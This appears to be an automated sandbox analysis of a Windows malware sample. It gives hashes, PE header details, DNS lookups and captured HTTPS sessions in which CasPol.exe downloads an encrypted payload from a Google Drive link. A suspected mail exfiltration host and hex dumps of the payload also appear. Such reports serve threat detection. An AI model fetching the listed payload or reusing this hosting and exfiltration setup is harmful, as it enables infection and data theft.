MD5: ccdf9de19a42d303579dfcc11f846bcb

SHA1: 413b2f4c1cc4f242d50bd95faa7ca85bcbcfbdef

SHA256: 0a2a2c18fa708a33573b788860a4911e6d6d6fd3ddf8cac
dddf4d9d100ca562d

SHA512: 3cac24c5db93f786247392af6c4425bc840fa7be314699b
9d06f54b266cb8f326d9ab877270d7c70f7c445daf1f84cb
8ec84802e0813ea00fc9d725c5a52dfd2

SSDEEP: 768:tyJDhaJ0vn7EZR5EjsXC1M+P7p/z8oI8e0JOCKIh3
yOL1Z+lrNqVGPookwXB90JM:tkD00uzM7pAygkl5ZAk1
74OzyfD

File Content Preview: MZ......................@...............................................!..L.!Th
is program cannot be run in DOS mode....$........i............
...........*..............Rich....................PE..L...`.AS.................
....0....................@........

General

File Icon

Icon Hash: 981dca909cee36b0

General

Entrypoint: 0x4013b4

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, 
LINE_NUMS_STRIPPED, RELOCS_STRIPPED

DLL Characteristics:

Time Stamp: 0x5341DD60 [Sun Apr  6 23:04:00 2014 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: d77040f4614bccfda7b8aa2e04863738

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x1000 0x1ce6c 0x1d000 False 0.35092268319 data 4.98845354205 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.data 0x1e000 0x141c 0x1000 False 0.00634765625 data 0.0 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE, 
IMAGE_SCN_MEM_READ

.rsrc 0x20000 0xf60 0x1000 False 0.3388671875 data 3.27120333743 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Static PE Info

Entrypoint Preview

Data Directories

Sections

Resources
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Network Port Distribution

Language of compilation system Country where language is spoken Map

English United States

Turkmen Turkmenistan

Network Behavior

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Nov 24, 2021 21:00:28.535343885 CET 192.168.11.20 1.1.1.1 0x20da Standard query 
(0)

drive.google.com A (IP address) IN (0x0001)

Nov 24, 2021 21:00:29.315182924 CET 192.168.11.20 1.1.1.1 0x56ac Standard query 
(0)

doc-0k-5k-
docs.googl
eusercontent.com

A (IP address) IN (0x0001)

Nov 24, 2021 21:02:04.308738947 CET 192.168.11.20 1.1.1.1 0x8217 Standard query 
(0)

mail.furte
ksdokuma.com.tr

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Nov 24, 2021 
21:00:28.544883966 
CET

1.1.1.1 192.168.11.20 0x20da No error (0) drive.goog
le.com

142.250.185.206 A (IP address) IN (0x0001)

Nov 24, 2021 
21:00:29.367595911 
CET

1.1.1.1 192.168.11.20 0x56ac No error (0) doc-0k-5k-
docs.googl
euserconte
nt.com

googlehosted.l.googleuse
rcontent.com

CNAME 
(Canonical 
name)

IN (0x0001)

Nov 24, 2021 
21:00:29.367595911 
CET

1.1.1.1 192.168.11.20 0x56ac No error (0) googlehost
ed.l.googl
euserconte
nt.com

142.250.185.225 A (IP address) IN (0x0001)

Nov 24, 2021 
21:02:04.353411913 
CET

1.1.1.1 192.168.11.20 0x8217 No error (0) mail.furte
ksdokuma.c
om.tr

furteksdokuma.com.tr CNAME 
(Canonical 
name)

IN (0x0001)

Nov 24, 2021 
21:02:04.353411913 
CET

1.1.1.1 192.168.11.20 0x8217 No error (0) furteksdok
uma.com.tr

116.202.203.61 A (IP address) IN (0x0001)

Imports

Version Infos

Possible Origin

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph
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drive.google.com

            
doc-0k-5k-docs.googleusercontent.com

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.11.20 49800 142.250.185.206 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp
kBytes
transferred Direction Data

2021-11-24 20:00:28 UTC 0 OUT GET /uc?export=download&id=1TZC5rT7z4IslTtNi8eG1vxrTVZrhSZe8 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: drive.google.com
Cache-Control: no-cache

2021-11-24 20:00:29 UTC 0 IN HTTP/1.1 302 Moved Temporarily
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Wed, 24 Nov 2021 20:00:29 GMT
Location: https://doc-0k-5k-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/voq4luic
q00u81odku6djgi2itsobe9p/1637784000000/06007705055686197661/*/1TZC5rT7z4IslTtNi8eG1vxrTVZrhSZe8?e=do
wnload
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Content-Security-Policy: script-src 'nonce-Yyd+VOv7+xLj90J/tPDWtQ' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_l9ocaq"
Report-To: {"group":"coop_gse_l9ocaq","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_l9ocaq"}]}
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Set-Cookie: NID=511=CMw3zbylAOACyYiox7oY8kKkY3lLAMqLjU8iox7yHdRQQnw5JgCNiBctQecMitVZ8iCzcY-
9vrlVv1wG_zfAiqXV5FACtSyHrWT2PGPAdgJJQhx05mFqxmzuEJ3zhd7QJ1Ood4rxmp_hZBAtchTfJL5FpXn8F9DB
SEsUFAom988; expires=Thu, 26-May-2022 20:00:28 GMT; path=/; domain=.google.com; Secure; HttpOnly; Sa
meSite=none
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2021-11-24 20:00:29 UTC 1 IN Data Raw: 31 38 34 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70 
6f 72 61 72 69 6c 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 
46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 
72 61 72 69 6c 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 
45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 30 6b 2d 35 6b 2d 64 6f 63 73 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 
65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65 73 63 2f 68 61 30 72 6f 39 33 37 67 63 75 63 37 6c 37 64 65 66 
66 6b 73 75 6c 68 67 35 68 37 6d 62 70 31 2f 76 6f 71 34 
Data Ascii: 184<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" 
TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-0k-5k-docs.goog
leusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/voq4

2021-11-24 20:00:29 UTC 2 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.11.20 49801 142.250.185.225 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp
kBytes
transferred Direction Data

2021-11-24 20:00:29 UTC 2 OUT GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/voq4luicq00u81odku6djgi2itsobe9p/1637784000000/0
6007705055686197661/*/1TZC5rT7z4IslTtNi8eG1vxrTVZrhSZe8?e=download HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Cache-Control: no-cache
Host: doc-0k-5k-docs.googleusercontent.com
Connection: Keep-Alive

HTTPS Proxied Packets
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2021-11-24 20:00:29 UTC 2 IN HTTP/1.1 200 OK
X-GUploader-UploadID: ADPycds5pTdcA2e8H8jCdvYUnvy7YQnaCIEKsIEsorTXtaFrbWo2N0-ntbx-brKSkh2Ty5oW3jpNlH
zB27STDIHZDM8
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: false
Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-
Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, 
financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-
customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-
Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-
model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-
Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-
Firebase-Auth-Token, X-Firebase-AppCheck, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Cl
ient, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visib
ilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-
PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-R
eason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-
Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-
Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-
Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, 
X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-
Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-
User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-T
ype, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-
VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-
Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-M
eeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-
Token, X-Goog-Meeting-ViewerInfo, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-
Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-
Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-
auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-
device-capabilities, X-Server-Timeout
Access-Control-Allow-Methods: GET,OPTIONS
Content-Type: application/octet-stream
Content-Disposition: attachment;filename="KEVINE_VMendTlzN117.bin";filename*=UTF-8''KEVINE_VMendTlzN117.bin
Content-Length: 221760
Date: Wed, 24 Nov 2021 20:00:29 GMT
Expires: Wed, 24 Nov 2021 20:00:29 GMT
Cache-Control: private, max-age=0
X-Goog-Hash: crc32c=Gfc6hw==
Server: UploadServer
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

2021-11-24 20:00:29 UTC 6 IN Data Raw: 72 7f ad 5a 77 e8 4d d3 7e a3 7e 89 df 28 5e 45 44 3e e7 a1 13 c2 bb 53 e0 17 6c 61 1f 61 37 70 08 fc 4a 39 
b3 f3 08 db 73 61 82 8a f9 3b 16 d7 27 c2 e6 d3 39 7b 2d 0b 02 21 3c ec ec 0e 4e 93 4c 2b 9d fe 9a fd 25 2a ee dd ef cc f5 
10 f4 c8 62 d2 7b f7 3a ce ee a6 f5 45 c8 12 8e 95 79 8c 66 e1 bf bf df 89 1e 32 3a 7a 6d 3a 2b 2d ab 14 3a 51 8a 36 ab 
ae f3 e7 e9 a9 a6 92 50 22 9c 16 e9 7f dc e6 1d 5b ab 44 43 ef b3 0a 64 35 05 d3 9a c8 34 ca 6b 55 a2 cd 7a f3 43 29 54 
cd 3f d8 92 dd 54 fa c8 c0 77 50 dc 67 94 4e 20 8b 52 f0 1b f1 4e 13 6d 0a 45 06 bf 5e 2e 98 a0 4b 0a ee 8b 93 fc 96 53 10
dc 0a 73 e5 c1 d2 62 95 f4 cd 34 7f 20 21 9b fc f5 23 52 06 f1 41 b0 d9 24 64 a8 c8 e6 8d fa 93 9e 38 27 a1 60 e5 e8 04 a6 
10 24 e8 21 e0 6b 92 72 ed 91 47 ee 53 04 d9 fc 
Data Ascii: rZwM~~(^ED>Slaa7pJ9sa;'9{-!<NL+%*b{:Eyf2:zm:+-:Q6P"[DCd54kUzC)T?TwPgN RNmE^.KSsb4 !#RA$d
8'`$!krGS

2021-11-24 20:00:29 UTC 9 IN Data Raw: 5b 7f 3b ad 4a 00 8d d3 3b db 50 91 7a 8d 0f e8 59 bf ff 77 6e eb 73 d5 80 d9 5c 8b 56 da fb eb 3d bb 06 39 fd 
73 5f 1d 9a 0b 5b 7d 22 a0 27 88 36 58 2b ed d7 23 ae 21 ed 6a ed 6b 06 1d a0 6c ee 18 f5 f8 ab f8 7f 65 66 53 57 d7 13 
78 c5 00 24 31 e2 6e 48 23 d2 c2 fb 92 61 c5 8d f9 8d fb 90 a7 2a 19 f7 56 5a a1 78 70 c0 56 2f 06 4e e9 43 23 dc 95 b5 
c3 13 d5 8b 96 30 df ef 99 6e 53 0d ef 5d aa 3e fc fa 00 7f 5c 3f 52 7c ac c5 c7 c5 e0 39 11 99 c7 ab fc 8b 92 10 e4 6c 19 
5a c0 3f d2 5f 6f 8e 13 32 4a 74 5f 93 34 be 58 20 a9 91 a9 0a eb db d9 db e6 e8 a7 80 bf 18 54 4f 43 e9 8c 3c bc 55 c9 
aa d8 03 44 9f 5e d5 01 12 19 2c b7 3c 6f 9e 32 16 66 0f 1a 8f 6c 62 a4 77 14 90 b6 11 1c fd 89 c3 91 06 12 ed 08 1e 09 
ed 6f 04 b4 9c fb 04 5b 62 07 87 30 1a b2 8e 54 2a 
Data Ascii: [;J;PzYwns\V=9s_[}"'6X+#!jklefSWx$1nH#a*VZxpV/NC#0nS]>\?R|9lZ?_o2Jt_4X TOC<UD^,<o2flbwo[b0T*

2021-11-24 20:00:29 UTC 13 IN Data Raw: d7 2b 3b 3b ad 2d 4b 46 97 23 4f 27 f7 f3 7a dc aa b1 ee 98 b8 90 5a 1d 5f ad 3d 10 7a 3f fb 12 8b 11 4b e5 f1 
30 79 16 62 9e 94 0e 23 ad 3f 20 1b e0 67 9b 4c 39 ed ec 61 fb 5d 55 97 ca 08 79 65 d1 db 16 22 fb ee 3f e6 8c 00 ad e4 
c7 3d 71 7d bc 52 ca 02 4d b1 97 d4 cf e9 fe ac e4 06 ed ad f0 c9 39 51 c1 6f 15 e0 01 0e 42 32 bb d6 5a 5a e7 15 b6 79 
aa ec 92 f2 9f 70 2a b8 5e c5 05 7c 1e a1 f0 3d e0 85 c4 52 cf 47 e2 bd 3d f1 bc cc 21 70 3a 39 16 23 4e 1f 24 36 01 75 55 
2e 44 a7 66 c5 76 74 57 f6 d3 d6 32 a4 8d 03 45 41 27 66 70 7a cd 6a b4 8f d9 de 25 2b 7d c0 d4 5b 4d 9c 95 18 bb f4 61 
7f ca 05 41 dd 70 90 28 e3 68 30 66 bc 05 c0 51 1c 10 dc f3 48 bb b6 cc f1 9b ce 1e 18 94 fa 98 32 e0 52 d7 3f c6 00 14 
87 72 68 d1 21 9f 67 5c a9 3e 88 0f 4c 91 5f 10 66 
Data Ascii: +;;-KF#O'zZ_=z?K0yb#? gL9a]Uye"?=q}RM9QoB2ZZyp*^|=RG=!p:9#N$6uU.DfvtW2EA'fpzj%+}[MaAp(h0
fQH2R?rh!g\>L_f

2021-11-24 20:00:29 UTC 17 IN Data Raw: 8a 12 6e 25 c6 99 fd 2f f4 ea cc e7 e4 c9 ef f4 ce b5 14 7b f7 30 10 e1 83 9d 72 c8 12 84 86 59 a4 5e e1 bf b5 
01 89 0f 3a 12 c6 6d 3a 2d 42 6d 14 3a 5b 54 39 8e 86 c4 e7 e9 a3 b5 b3 f8 1a 9c 16 ed be 66 f9 15 c7 48 89 62 51 dd 80 
a9 14 5b 65 fc 9e 3c 8d 19 3a cf ac 39 b6 5b 4a 35 a9 8f b7 f7 f5 1e 4d e8 b2 04 51 3a 0e fa 64 ba cb 24 f8 41 9e 2a 7c 50 
24 60 34 9b 5e 24 46 a0 5a 02 c6 21 d6 fc 90 70 d7 df 0a 6b c2 41 96 4a a2 f4 cd 3e 6c 04 09 43 fc f7 28 87 07 eb 49 98 
4e 27 64 ae af 20 8d fa 99 40 37 3c ff 54 e5 e8 2e b5 35 0c d0 21 e0 61 4c 32 fc 99 4f 25 53 04 dd 93 7f 30 13 eb 74 ff 0b 
bc 32 75 1f b0 c8 5d e6 1a f2 0d 19 eb 11 0b 4b 23 13 a1 74 bb ac fd ca ed 2b cf a6 88 47 82 13 05 9b 12 a3 8c 02 b5 20 
0d 65 df e3 90 60 a9 79 23 ca 35 10 8c d9 e1 6a 
Data Ascii: n%/{0rY^:m:-Bm:[T9fHbQ[e<:9[J5MQ:d$A*|P$`4^$FZ!pkAJ>lC(IN'd @7<T.5!aL2O%S0t2u]K#t+G e`y#5j

Timestamp
kBytes
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2021-11-24 20:00:29 UTC 18 IN Data Raw: fb cd 15 02 06 c9 a0 e8 42 f4 62 a1 0d 19 28 76 d2 a1 39 79 de a2 79 31 0f 1d ea e4 73 a3 12 ca 97 d9 43 73 
34 83 74 8c c9 a1 ab 09 1e 08 9e 62 1c ac eb b5 37 66 40 d4 81 27 0f 9f b2 47 2d d0 05 6e ed 61 eb 64 d1 52 20 fd 24 88 
24 41 8b 77 48 d7 41 cd c6 3e dc 7e ea 7d dd 88 93 cd 18 88 5b 40 50 8f 40 08 78 d6 df c2 41 57 85 d4 0c b2 89 01 a9 0a 
db 2b 3d 9d aa 67 c4 42 97 32 50 b5 ed 0d 7b f1 b4 f8 e0 d4 86 ca 97 1f 59 09 80 11 29 2c 85 14 8f 0e 59 33 b5 1e 72 6e 
57 c9 96 0a 09 dd 58 37 08 ee c5 9b 08 37 3b b5 4f f8 4c e4 82 8a 00 55 03 c9 25 1d 1d bb d7 78 a0 71 fd 52 1f e8 39 68 
7d b6 f4 f3 66 57 99 fb fc cf ef 5c ae 94 2c 96 a5 f1 c3 11 3e c3 6f 02 de 22 25 59 34 ad c6 cb 89 cb 17 a4 5a 7a e9 84 0a 
b6 72 2a af 53 aa 7a 64 e0 aa f4 57 c9 87 e9 99 9b 32 
Data Ascii: Bb(v9yy1sCs4tb7f@'G-nadR $$AwHA>~}[@P@xAW+=gB2P{Y),Y3rnWX77;OLU%xqR9h}fW\,>o"%
Y4Zzr*SzdW2

2021-11-24 20:00:29 UTC 19 IN Data Raw: 7b f6 3a ce ee a6 95 4c c8 12 80 95 79 8c 48 e8 bf bf d0 89 1e 32 20 7a 6d 3b 2b 2d ab 14 07 58 8a 36 a5 ae f3 
e7 a2 a0 a6 92 df 22 9c 16 fd 60 66 e9 1d ef a2 89 38 5e b2 46 a7 14 51 bb 9b b2 14 ba 16 3a c5 bf 01 9e 63 4b 35 a3 51 
b7 91 f4 36 9f e6 b2 02 3e 79 07 fa 6e 6b c4 01 d0 6c 9e 2a 77 43 07 48 0c 0f 57 2e 98 ae 4b 0a ee 79 df fc 96 10 11 df 0a 
7b 1c 4e b2 62 95 f4 cd 85 76 20 21 75 fc f7 22 e6 0e fa 41 bf 81 27 64 b2 c0 e6 8c fa 93 9e 38 d7 de 63 e5 e6 24 a6 10 f8 
e1 21 e0 64 92 32 ed 8b 67 ee 52 04 db fc b9 db 1a e1 aa fe 2e 94 05 8c 16 ba db 74 ce 22 f2 17 13 35 10 1a 43 0b d9 a9 
7e bd d8 fd ca ed 30 b6 6a 88 47 87 cd 0a be 20 94 8c 03 bf 33 2a 4d c2 e9 90 6a 79 79 32 c2 2e 0a 8d d9 e8 05 5a 99 4c 
8b 07 86 0e bf ff 7d f0 c9 5d d7 8e df 56 55 14 
Data Ascii: {:LyH2 zm;+-X6"`f8^FQ:cK5Q6>ynkl*wCHW.Ky{Nbv !u"A'd8c$!d2gR.t"5C~0jG 3*Mjyy2.ZL}]VU

2021-11-24 20:00:29 UTC 20 IN Data Raw: 33 e9 22 69 a4 7a 03 69 d8 65 14 d5 ad 76 86 d6 b5 da 03 1e 0f f7 92 1d 80 ed ba 0f 5b 6f 09 7d 26 25 bc 9a 
51 2e b9 c2 46 ed 6b c7 6b dd 3d f5 eb da 83 20 67 9c 7c 42 c4 49 1b f5 12 de 53 c9 98 9b 76 6c 32 3b 8a 6c 40 50 96 63 
37 6c 59 d8 ea 79 70 85 de c0 81 9b 05 91 f7 d5 2b 3d 99 a3 23 42 bc 96 1e 43 00 87 0d 7b f0 bc ab f5 94 81 e6 4f e3 58 
23 21 18 7a 3f fb 12 8b 17 a3 1a dc 19 64 64 65 8d 90 0a 1e b6 3d c9 09 c8 62 9d 62 31 00 e9 4d e9 4e 5e 6d cb 35 74 52 
fa 25 17 04 f4 dc 29 da 67 ec 56 07 3e 42 44 6c bb 39 8f 26 4d bb 9f 91 3f e9 fe b5 f8 28 f0 b6 f5 c9 28 5d da 91 05 da 0d 
2c 51 a8 b7 dd b7 5f cb 06 aa 64 54 ea a8 0f 89 4f 2c af 44 c1 1c 9a e1 8c de 14 ce bf 97 4e 18 cd e8 aa ed ff 9c 5e af c7 
02 c4 76 0b 55 29 08 ad 86 77 5f 31 66 2b 39 d4 5e 
Data Ascii: 3"iziev[o}&%Q.Fkk= g|BISvl2;l@Pc7lYyp+=#BC{OX#!z?dde=bb1MN^m5tR%)gV>BDl9&M?((],Q_dTO,DN^
vU)w_1f+9^

2021-11-24 20:00:29 UTC 22 IN Data Raw: c4 2a 01 ac 13 20 57 28 29 bb a2 f3 ef f6 a5 58 93 fc 29 9b 01 99 79 66 e8 19 4d bd 84 6e 57 ba 59 b8 ea 50 
97 fd bc 3c c1 19 3a cf 3f 13 9e 63 4e 2a b1 5d b7 ee ea c8 9e c4 b0 1a 32 fc 06 e4 90 65 e8 16 ae 7e 9e 2a 72 3d 1f 48 
0c 9f 31 d0 98 a0 41 30 f0 24 29 03 89 16 1d df 02 7e 15 b0 b2 4e 82 8a c5 34 7f 24 5f 63 fc f7 26 71 23 fa 41 ba 01 2f 64 
a8 c4 f9 87 f6 93 96 27 14 29 62 c9 e3 23 be 38 ce ea 21 e6 c9 8d 3c e1 91 6f f8 ad 05 f7 fe ae 3c 13 e9 b5 e2 d0 95 29 77 
34 bf e3 0b 30 dd 0d 27 08 05 15 1a 88 0b d9 a1 5e bd d8 e2 c8 c5 cf a0 60 82 28 bc cd 0a b4 55 a1 8c 02 b5 39 f7 fe e7 
e3 90 4f 5f 4e 32 c2 17 0c 8f f1 18 05 5a 93 45 8f 27 87 0a bf ff f0 c9 c3 5d d6 8d 0f 2a 55 44 f3 e4 ff 3d b1 24 3f ff 72 59 
1d bb bd ec a5 90 6d 22 98 17 49 2f 82 d7 0a 
Data Ascii: * W()X)yfMnWYP<:?cN*]2e~*r=H1A0$)~N4$_c&q#A/d')b#8!<o<)w40'^`(U9O_N2ZE']*UD=$?rYm"I/

2021-11-24 20:00:29 UTC 23 IN Data Raw: ef b3 12 48 6c 2c 0c 27 09 b7 98 56 29 cf d3 47 c1 6e fb 0b f3 3d f2 f9 aa 35 1b bf 86 7b 58 d0 53 e5 e5 3a c0 
86 cd 8c e2 9e b9 d0 2e a4 6c 51 54 9f ad 34 40 c0 f3 80 62 44 81 de c0 93 90 ff a8 58 c6 55 1f 99 b2 23 70 bd 97 32 41 
57 95 0d 7b fa ad a1 e2 90 90 f3 5c 06 a7 0e 0e 1b 6f 54 fc 02 8f 04 23 3e f0 1c 76 60 e5 88 bc 24 0f b2 2a 21 f6 e5 4b a2 
54 3c 17 ed 5c fc 5d b8 92 e6 1a 65 69 cd 25 06 0a ef 3b 3b f2 64 ea 41 1f c0 52 6c 60 42 57 ce 24 66 b4 a5 92 30 16 01 
b7 c3 d2 e1 ad f8 f8 81 4f eb 6f 04 ed 3a 21 59 b1 bb c1 a4 74 cb 17 bf 5a e2 eb 84 0a 1e 7c 28 af 51 bb 26 64 e0 a4 f0 01 
b5 a4 ef b1 e3 25 d3 a5 45 d6 94 57 25 fe 87 07 51 0d 66 53 0c ad 07 58 5a ec 1d 2c 39 c5 5d 6b 01 4e d3 d6 3c a3 b4 99 
64 64 27 67 5c 6f 7a 7c 8f ab 86 97 25 2d 53 76 
Data Ascii: Hl,'V)Gn=5{XS:.lQT4@bDXU#p2AW{\oT#>v`$*!KT<\]ei%;;dARl`BW$f0Oo:!YtZ|(Q&d%EW%QfSXZ,9]kN<d
d'g\oz|%-Sv

2021-11-24 20:00:29 UTC 24 IN Data Raw: 1d ef a6 a1 68 54 b2 40 81 30 51 bb f9 3b 1c ba 19 3e 18 b6 18 9e 63 48 2a d4 62 ae 98 f5 36 9f ec 9a 09 3d fc 
08 d2 4a 64 c4 0b 50 7e 9e 2a 72 9e ec 4a 0c 9b 5c 31 e0 93 52 74 e6 db d6 f8 be 13 12 df 0c 49 38 4e b3 68 15 fc cd 34 
7b fd ec 79 fc f7 20 46 7e c9 58 ce 89 27 64 ac e8 eb 8e fa 95 b6 1c 19 d7 69 65 e0 24 a6 14 f9 47 23 e0 6b 90 2d 97 a2 
7e 90 5b 04 db f8 91 3e 10 e1 ac d8 0a 94 05 7f 9f b2 db 7b ca ff 63 0f 13 35 13 05 38 38 c0 df 7c bd d8 f7 e2 e2 33 a0 66 
a0 63 88 cd 00 3e 32 94 8c 06 62 40 28 4d e7 e1 8f 4a 44 60 4c ca 1d 00 89 f1 bd 07 5a 9f 7e af 07 87 04 3f f7 7d b2 c7 80
82 82 df 56 7d 40 f2 cc ed 52 b8 2f 17 f5 1c 52 16 b2 39 73 79 28 7e 21 e1 15 59 2b e7 b9 01 af 21 e5 7c 6a 6a 4f 90 bf 74 
10 19 e3 06 a8 a7 24 45 80 c8 57 dd ed 79 d3 
Data Ascii: hT@0Q;>cH*b6=JdP~*rJ\1RtI8Nh4{y F~X'die$G#k-~[>{c588|3fc>2b@(MJD`LZ~?}V}@R/R9sy(~!Y+!|jjOt$EWy

2021-11-24 20:00:29 UTC 26 IN Data Raw: 83 20 63 a0 dd 5d f4 44 fe f4 2f c7 67 f2 5e e6 a5 9f ce 6d a6 03 55 51 85 59 2a 53 d6 c3 ea 68 4c 9a e2 2f 96 
a4 0d af 65 da 44 15 9b b2 21 47 7f 84 29 4b 29 e3 12 63 0e a6 94 ff 96 81 e9 70 0f 58 0f 28 13 7a 24 e2 10 94 0e 4c 00 ef 
3f 8c 69 53 94 85 01 15 64 33 3c 17 c0 74 91 48 3e 08 f2 7d 06 4b 6a 82 db 1f 6a a0 de f3 9a 25 f9 c5 3b cd 62 e2 63 08 
db 43 79 66 a3 5b 1c 27 61 bf 9f ef c4 c1 ec be d4 0e fe af ee c7 2a 42 c1 7e 1f e9 1d db 58 1e b6 d0 af 41 1d 04 a5 6d b2 
f8 9f 0c 8f 47 32 51 54 e9 0b 75 eb ba 0a 2c c0 9c fc aa e7 23 fb a2 01 0d 95 7b 2d 76 21 06 0f 05 4c 19 0a b2 3a 66 44 
31 5f 30 26 cc 88 74 53 63 d1 c7 33 93 95 8e 1a 4b 34 76 47 eb de 71 be b6 b5 c3 04 d3 54 77 df 4a 4c a5 e3 cc a8 f9 56 
c6 d9 1e 4b e4 4e 8f 39 17 41 87 6c ad 04 f2 c2 
